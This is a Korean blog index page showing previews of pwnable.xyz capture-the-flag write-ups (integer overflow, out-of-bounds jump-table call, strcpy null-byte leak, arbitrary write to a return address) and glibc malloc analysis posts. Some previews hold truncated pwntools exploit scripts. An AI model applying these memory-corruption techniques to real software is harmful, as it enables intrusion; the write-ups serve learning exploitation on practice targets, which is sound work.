전체 글 (187) 썸네일형 리스트형 pwnable.xyz / l33t-ness 1 ~ 3 round를 통과하면 win함수를 호출해 flag를 출력해준다 x, y를 입력 받는데 - 를 입력해서 음수를 쓸 수 없다 integer overflow해서 1337 맞춰주면 된다 x, y를 곱한 값이 1337을 맞춰주면된다 1번과 동일하다 5개 수를 입력 받아서 더한 값과 곱한 값이 동일하면된다 조건은 이전 값보다 작으면 안된다 다 0으로 주면 된다 from pwn import * p = process("./l33t-ness") def round_1(x, y): p.recvuntil(b"x: ") p.sendline(str(x)) p.recvuntil(b"y: ") p.sendline(str(y)) def round_2(x, y): p.recvuntil(b"===\n") p.sendline(s.. pwnable.xyz / Jmp table 힙 할당 힙 해제 쓰기 읽기 exit 각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다 할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다 size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다 from pwn import * p = process("./jmp_table") def do_malloc(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"Size: ") p.sendline(str(length)) do_malloc(0x400A31) p.recvuntil(b"> ") p.sendline(b"-2") p.interactive() pwnable.xyz / TLSv00 입력한 크기만큼 key를 생성 ( generate_key 호출 ) flag를 key로 xor ( load_flag 호출 ) print flag 호출 최대 64자리까지 난수를 생성해서 key에 저장한다 이때 strcpy로 key에 복사하기 때문에 널바이트가 do_comment의 첫 바이트를 덮어 real_print_flag를 호출해서 xor된 flag를 릭할 수 있다 strcpy로 key에 널 바이트가 저장되는 걸 이용해서 1byte씩 뽑아냈다 from pwn import * #context.log_level = "debug" def regen_key(length): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"key len: ") p.sendline(str(l.. pwnable.xyz / free spirit 제목만 보고서는 house of spirit인줄 알았다...ㅎㅎ 스택 영역에 저장된 힙에 0x20만큼 데이터를 받음 힙 주소가 저장된 스택 주소를 출력한다 힙 주소를 저장하고 있는 스택 - 8 주소에 힙영역에 쓴 데이터를 저장 스택 주소를 릭 가능하고 3번을 통해 힙 주소가 저장된 스택 영역을 덮으면 aaw가 발생한다 릭한 주소로 ret주소 계산해서 win함수 출력한다 exploit 코드는 아래 더보기 더보기 from pwn import * p = process("./free_spirit") #gdb.attach(p) win = 0x400a3e def write(data): p.recvuntilb("> ") p.sendline(b"1") sleep(0.1) p.send(data) def aaw(): p... house of spirit 보호되어 있는 글입니다. security check 보호되어 있는 글입니다. (glibc 2.29) malloc glibc 2.26버전 분석 글과 동일하게 glibc 2.26 버전과 비교하면서 다른 점만 정리할 것이다 단일 스레드일 경우 main_arena로 재할당하는 코드가 추가 되었다 전체 코드는 아래 더보기 더보기 void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); #if USE_TCACHE /* int_free also calls request2size, be c.. 힙 분석 글 링크 malloc 분석 글 glibc 2.23 : https://brain200.tistory.com/114 glibc 2.26 : https://brain200.tistory.com/118 glibc 2.29 : https://brain200.tistory.com/136 _int_malloc 분석 글 glibc 2.23 : https://brain200.tistory.com/116 glibc 2.26 : https://brain200.tistory.com/124 glibc 2.29 : https://brain200.tistory.com/147 free 분석 글 glibc 2.23 : https://brain200.tistory.com/74 glibc 2.26 : https://brain200.tistory... 이전 1 ··· 8 9 10 11 12 13 14 ··· 24 다음